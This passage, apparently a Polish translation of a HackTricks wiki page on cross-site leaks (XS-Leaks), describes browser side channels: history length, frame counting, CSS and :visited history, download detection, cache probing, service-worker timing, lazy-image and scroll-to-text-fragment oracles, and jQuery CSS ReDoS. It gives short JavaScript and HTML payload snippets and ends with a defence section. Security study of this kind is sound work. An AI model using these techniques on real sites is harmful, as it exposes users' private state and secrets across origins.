Przykład cookie bomb + XS-Search można znaleźć w zamierzonym rozwiązaniu tego opisu: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None lub bycie w tym samym kontekście jest zazwyczaj wymagane do tego typu ataku.

Maksymalna długość URL - po stronie klienta

Zgodnie z dokumentacją Chromium, maksymalna długość URL w Chrome wynosi 2MB.

Ogólnie rzecz biorąc, platforma internetowa nie ma ograniczeń co do długości adresów URL (chociaż 2^31 jest powszechnym limitem). Chrome ogranicza adresy URL do maksymalnej długości 2MB z powodów praktycznych i aby uniknąć problemów z odmową usługi w komunikacji międzyprocesowej.

Dlatego jeśli adres URL przekierowania jest większy w jednym z przypadków, możliwe jest, aby przekierować z adresu URL większego niż 2MB, aby osiągnąć limit długości. Gdy to się stanie, Chrome wyświetla stronę about:blank#blocked.

Widoczna różnica polega na tym, że jeśli przekierowanie zostało zakończone, window.origin zgłasza błąd, ponieważ z innego źródła nie można uzyskać dostępu do tych informacji. Jednak jeśli limit został **** osiągnięty, a załadowana strona to about:blank#blocked, origin okna pozostaje tym z rodzica, co jest dostępną informacją.

Wszystkie dodatkowe informacje potrzebne do osiągnięcia 2MB można dodać za pomocą hasha w początkowym adresie URL, aby zostały użyte w przekierowaniu.

{{#ref}} url-max-length-client-side.md {{#endref}}

Maksymalne przekierowania

Jeśli maksymalna liczba przekierowań, które można śledzić w przeglądarce, wynosi 20, atakujący może spróbować załadować swoją stronę z 19 przekierowaniami i ostatecznie wysłać ofiarę na testowaną stronę. Jeśli błąd jest wywoływany, oznacza to, że strona próbowała przekierować ofiarę.

Długość historii

API historii pozwala kodowi JavaScript na manipulację historią przeglądarki, która zapisuje strony odwiedzane przez użytkownika. Atakujący może użyć właściwości length jako metody włączenia: do wykrywania nawigacji JavaScript i HTML.
Sprawdzając history.length, zmuszając użytkownika do nawigacji na stronę, zmieniając ją z powrotem do tej samej domeny i sprawdzając nową wartość history.length.

Długość historii z tym samym URL

  • Metody włączenia: Ramki, Pop-upy
  • Wykrywalna różnica: Jeśli URL jest taki sam jak zgadywany
  • Podsumowanie: Możliwe jest zgadywanie, czy lokalizacja ramki/pop-upu znajduje się w określonym URL, nadużywając długości historii.
  • Przykład kodu: Poniżej

Atakujący może użyć kodu JavaScript do manipulacji lokalizacją ramki/pop-upu na zgadywaną i natychmiast zmienić ją na about:blank. Jeśli długość historii wzrosła, oznacza to, że URL był poprawny i miał czas na wzrost, ponieważ URL nie jest ponownie ładowany, jeśli jest taki sam. Jeśli nie wzrosła, oznacza to, że próbował załadować zgadywany URL, ale ponieważ natychmiast po tym załadowano about:blank, długość historii nigdy nie wzrosła podczas ładowania zgadywanego URL.

javascript
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Liczenie ramek

Liczenie liczby ramek w sieci otwartych za pomocą iframe lub window.open może pomóc w identyfikacji statusu użytkownika na tej stronie.
Ponadto, jeśli strona ma zawsze tę samą liczbę ramek, ciągłe sprawdzanie liczby ramek może pomóc w identyfikacji wzoru, który może ujawniać informacje.

Przykładem tej techniki jest to, że w Chrome PDF może być wykrywany za pomocą liczenia ramek, ponieważ wewnętrznie używany jest embed. Istnieją Parametry URL, które pozwalają na pewną kontrolę nad zawartością, taką jak zoom, view, page, toolbar, gdzie ta technika może być interesująca.

Elementy HTML

Ujawnienie informacji przez elementy HTML jest problemem w bezpieczeństwie sieci, szczególnie gdy dynamiczne pliki multimedialne są generowane na podstawie informacji o użytkowniku lub gdy dodawane są znaki wodne, zmieniając rozmiar mediów. Może to być wykorzystywane przez atakujących do różnicowania możliwych stanów poprzez analizowanie informacji ujawnionych przez niektóre elementy HTML.

Informacje ujawnione przez elementy HTML

  • HTMLMediaElement: Ten element ujawnia duration i buffered czasy mediów, które można uzyskać za pomocą jego API. Przeczytaj więcej o HTMLMediaElement
  • HTMLVideoElement: Ujawnia videoHeight i videoWidth. W niektórych przeglądarkach dostępne są dodatkowe właściwości, takie jak webkitVideoDecodedByteCount, webkitAudioDecodedByteCount i webkitDecodedFrameCount, oferujące bardziej szczegółowe informacje o zawartości multimedialnej. Przeczytaj więcej o HTMLVideoElement
  • getVideoPlaybackQuality(): Ta funkcja dostarcza szczegóły dotyczące jakości odtwarzania wideo, w tym totalVideoFrames, co może wskazywać na ilość przetworzonych danych wideo. Przeczytaj więcej o getVideoPlaybackQuality()
  • HTMLImageElement: Ten element ujawnia height i width obrazu. Jednak jeśli obraz jest nieprawidłowy, te właściwości zwrócą 0, a funkcja image.decode() zostanie odrzucona, co wskazuje na niepowodzenie w poprawnym załadowaniu obrazu. Przeczytaj więcej o HTMLImageElement

Właściwość CSS

Aplikacje internetowe mogą zmieniać stylizację strony w zależności od statusu użytkownika. Pliki CSS z różnych źródeł mogą być osadzone na stronie atakującego za pomocą elementu HTML link, a reguły będą stosowane do strony atakującego. Jeśli strona dynamicznie zmienia te reguły, atakujący może wykryć te różnice w zależności od stanu użytkownika.
Jako technikę wycieku, atakujący może użyć metody window.getComputedStyle, aby odczytać właściwości CSS konkretnego elementu HTML. W rezultacie atakujący może odczytać dowolne właściwości CSS, jeśli znany jest dotknięty element i nazwa właściwości.

Historia CSS

note

Zgodnie z tym, to nie działa w headless Chrome.

Selektor CSS :visited jest wykorzystywany do stylizacji adresów URL w inny sposób, jeśli były wcześniej odwiedzane przez użytkownika. W przeszłości metoda getComputedStyle() mogła być używana do identyfikacji tych różnic stylu. Jednak nowoczesne przeglądarki wprowadziły środki bezpieczeństwa, aby zapobiec ujawnieniu stanu linku przez tę metodę. Środki te obejmują zawsze zwracanie stylu obliczonego, jakby link był odwiedzany, oraz ograniczenie stylów, które mogą być stosowane za pomocą selektora :visited.

Mimo tych ograniczeń, możliwe jest pośrednie rozróżnienie stanu odwiedzenia linku. Jedna z technik polega na oszukaniu użytkownika, aby interagował z obszarem dotkniętym przez CSS, wykorzystując właściwość mix-blend-mode. Ta właściwość pozwala na mieszanie elementów z ich tłem, co może ujawniać stan odwiedzenia na podstawie interakcji użytkownika.

Ponadto, wykrycie można osiągnąć bez interakcji użytkownika, wykorzystując czasy renderowania linków. Ponieważ przeglądarki mogą renderować odwiedzone i nieodwiedzone linki w różny sposób, może to wprowadzać mierzalną różnicę czasową w renderowaniu. Dowód koncepcji (PoC) został wspomniany w raporcie błędu Chromium, demonstrując tę technikę przy użyciu wielu linków, aby wzmocnić różnicę czasową, co czyni stan odwiedzenia wykrywalnym poprzez analizę czasową.

Aby uzyskać więcej szczegółów na temat tych właściwości i metod, odwiedź ich strony dokumentacji:

Wycieki X-Frame ContentDocument

W Chrome, jeśli strona z nagłówkiem X-Frame-Options ustawionym na "deny" lub "same-origin" jest osadzona jako obiekt, pojawia się strona błędu. Chrome unikalnie zwraca pusty obiekt dokumentu (zamiast null) dla właściwości contentDocument tego obiektu, w przeciwieństwie do iframe'ów lub innych przeglądarek. Atakujący mogą to wykorzystać, wykrywając pusty dokument, co może ujawniać informacje o stanie użytkownika, szczególnie jeśli deweloperzy niespójnie ustawiają nagłówek X-Frame-Options, często pomijając strony błędów. Świadomość i konsekwentne stosowanie nagłówków bezpieczeństwa są kluczowe dla zapobiegania takim wyciekom.

Wykrywanie pobierania

Nagłówek Content-Disposition, szczególnie Content-Disposition: attachment, instruuje przeglądarkę, aby pobrała zawartość zamiast wyświetlać ją w linii. To zachowanie może być wykorzystywane do wykrywania, czy użytkownik ma dostęp do strony, która wyzwala pobieranie pliku. W przeglądarkach opartych na Chromium istnieje kilka technik do wykrywania tego zachowania pobierania:

  1. Monitorowanie paska pobierania:
  • Gdy plik jest pobierany w przeglądarkach opartych na Chromium, pasek pobierania pojawia się na dole okna przeglądarki.
  • Monitorując zmiany w wysokości okna, atakujący mogą wnioskować o pojawieniu się paska pobierania, co sugeruje, że pobieranie zostało zainicjowane.
  1. Nawigacja pobierania za pomocą iframe:
  • Gdy strona wyzwala pobieranie pliku za pomocą nagłówka Content-Disposition: attachment, nie powoduje to zdarzenia nawigacji.
  • Ładując zawartość w iframe i monitorując zdarzenia nawigacji, można sprawdzić, czy rozkład treści powoduje pobieranie pliku (brak nawigacji) czy nie.
  1. Nawigacja pobierania bez iframe:
  • Podobnie jak w technice iframe, ta metoda polega na użyciu window.open zamiast iframe.
  • Monitorowanie zdarzeń nawigacji w nowo otwartym oknie może ujawnić, czy pobieranie pliku zostało wyzwolone (brak nawigacji) czy zawartość jest wyświetlana w linii (następuje nawigacja).

W scenariuszach, w których tylko zalogowani użytkownicy mogą wyzwalać takie pobierania, te techniki mogą być używane do pośredniego wnioskowania o stanie uwierzytelnienia użytkownika na podstawie odpowiedzi przeglądarki na żądanie pobrania.

Ominięcie podzielonej pamięci podręcznej HTTP

warning

Dlatego ta technika jest interesująca: Chrome ma teraz podział pamięci podręcznej, a klucz pamięci podręcznej nowo otwartej strony to: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), ale jeśli otworzę stronę ngrok i użyję fetch w niej, klucz pamięci podręcznej będzie: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), klucz pamięci podręcznej jest inny, więc pamięć podręczna nie może być dzielona. Możesz znaleźć więcej szczegółów tutaj: Zyskiwanie bezpieczeństwa i prywatności przez podział pamięci podręcznej
(Komentarz z tutaj)

Jeśli strona example.com zawiera zasób z *.example.com/resource, to ten zasób będzie miał ten sam klucz pamięci podręcznej, jakby zasób był bezpośrednio żądany przez nawigację na najwyższym poziomie. Dzieje się tak, ponieważ klucz pamięci podręcznej składa się z eTLD+1 na najwyższym poziomie i eTLD+1 ramki.

Ponieważ dostęp do pamięci podręcznej jest szybszy niż ładowanie zasobu, możliwe jest próbowanie zmiany lokalizacji strony i anulowanie jej 20 ms (na przykład) później. Jeśli pochodzenie zostało zmienione po zatrzymaniu, oznacza to, że zasób został zbuforowany.
Można również wysłać jakieś fetch do potencjalnie zbuforowanej strony i zmierzyć czas, jaki to zajmuje.

Ręczne przekierowanie

Fetch z AbortController

Użyj fetch i setTimeout z AbortController, aby wykryć, czy zasób jest zbuforowany oraz aby usunąć konkretny zasób z pamięci podręcznej przeglądarki. Ponadto proces ten odbywa się bez buforowania nowej zawartości.

Zanieczyszczenie skryptu

Pracownicy serwisowi

W danym scenariuszu atakujący podejmuje inicjatywę, aby zarejestrować pracownika serwisowego w jednej ze swoich domen, konkretnie "attacker.com". Następnie atakujący otwiera nowe okno na stronie docelowej z głównego dokumentu i instruuje pracownika serwisowego, aby rozpoczął timer. Gdy nowe okno zaczyna się ładować, atakujący nawigują odniesienie uzyskane w poprzednim kroku do strony zarządzanej przez pracownika serwisowego.

Po przybyciu żądania zainicjowanego w poprzednim kroku, pracownik serwisowy odpowiada kodem statusu 204 (Brak zawartości), skutecznie kończąc proces nawigacji. W tym momencie pracownik serwisowy rejestruje pomiar z timera uruchomionego wcześniej w kroku drugim. Ten pomiar jest wpływany przez czas trwania JavaScript, powodując opóźnienia w procesie nawigacji.

warning

W pomiarze czasu wykonania możliwe jest eliminowanie czynników sieciowych, aby uzyskać dokładniejsze pomiary. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.

Czas pobierania

Czas między oknami

Z HTML lub ponowna iniekcja

Tutaj znajdziesz techniki wykradania informacji z HTML z innego źródła poprzez wstrzykiwanie treści HTML. Te techniki są interesujące w przypadkach, gdy z jakiegoś powodu możesz wstrzykiwać HTML, ale nie możesz wstrzykiwać kodu JS.

Zawieszone znaczniki

{{#ref}} ../dangling-markup-html-scriptless-injection/ {{#endref}}

Ładowanie obrazów leniwie

Jeśli musisz wykradać treści i możesz dodać HTML przed sekretem, powinieneś sprawdzić typowe techniki zawieszonych znaczników.
Jednak jeśli z jakiegokolwiek powodu MUSISZ to zrobić znak po znaku (może komunikacja odbywa się przez trafienie w pamięci podręcznej), możesz użyć tego triku.

Obrazy w HTML mają atrybut "loading", którego wartość może być "lazy". W takim przypadku obraz zostanie załadowany, gdy będzie widoczny, a nie podczas ładowania strony:

html
<img src=/something loading=lazy >

Dlatego możesz dodać dużo niepotrzebnych znaków (na przykład tysiące "W") aby wypełnić stronę internetową przed sekretem lub dodać coś takiego jak <br><canvas height="1850px"></canvas><br>.
Jeśli na przykład nasza iniekcja pojawi się przed flagą, obraz zostanie załadowany, ale jeśli pojawi się po fladze, flaga + niepotrzebne znaki uniemożliwią jej załadowanie (będziesz musiał eksperymentować z ilością niepotrzebnych znaków do umieszczenia). To się wydarzyło w tym opisie.

Inną opcją byłoby użycie scroll-to-text-fragment, jeśli jest to dozwolone:

Scroll-to-text-fragment

Jednak musisz sprawić, aby bot uzyskał dostęp do strony z czymś takim jak

#:~:text=SECR

Strona internetowa będzie wyglądać mniej więcej tak: https://victim.com/post.html#:~:text=SECR

Gdzie post.html zawiera niechciane znaki atakującego i obrazek ładowany leniwie, a następnie dodawany jest sekret bota.

Tekst ten spowoduje, że bot uzyska dostęp do wszelkiego tekstu na stronie, który zawiera tekst SECR. Ponieważ ten tekst jest sekretem i znajduje się tuż poniżej obrazu, obraz załaduje się tylko wtedy, gdy odgadnięty sekret jest poprawny. Tak więc masz swoje oracle do ekstrahowania sekretu znak po znaku.

Przykład kodu do wykorzystania tego: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Czas ładowania obrazów leniwie

Jeśli nie ma możliwości załadowania zewnętrznego obrazu, co mogłoby wskazywać atakującemu, że obraz został załadowany, inną opcją byłoby próbowanie odgadnięcia znaku kilka razy i zmierzenie tego. Jeśli obraz jest załadowany, wszystkie żądania będą trwały dłużej niż w przypadku, gdy obraz nie jest załadowany. To zostało wykorzystane w rozwiązaniu tego opisu podsumowanym tutaj:

{{#ref}} event-loop-blocking-+-lazy-images.md {{#endref}}

ReDoS

{{#ref}} ../regular-expression-denial-of-service-redos.md {{#endref}}

CSS ReDoS

Jeśli użyto jQuery(location.hash), możliwe jest ustalenie za pomocą czasu czy istnieje jakiś zawartość HTML, ponieważ jeśli selektor main[id='site-main'] nie pasuje, nie trzeba sprawdzać reszty selektorów:

javascript
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

Wstrzykiwanie CSS

{{#ref}} css-injection/ {{#endref}}

Ochrona

Zalecane są środki zaradcze opisane w https://xsinator.com/paper.pdf oraz w każdej sekcji wiki https://xsleaks.dev/. Sprawdź tam więcej informacji na temat ochrony przed tymi technikami.

Odnośniki

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks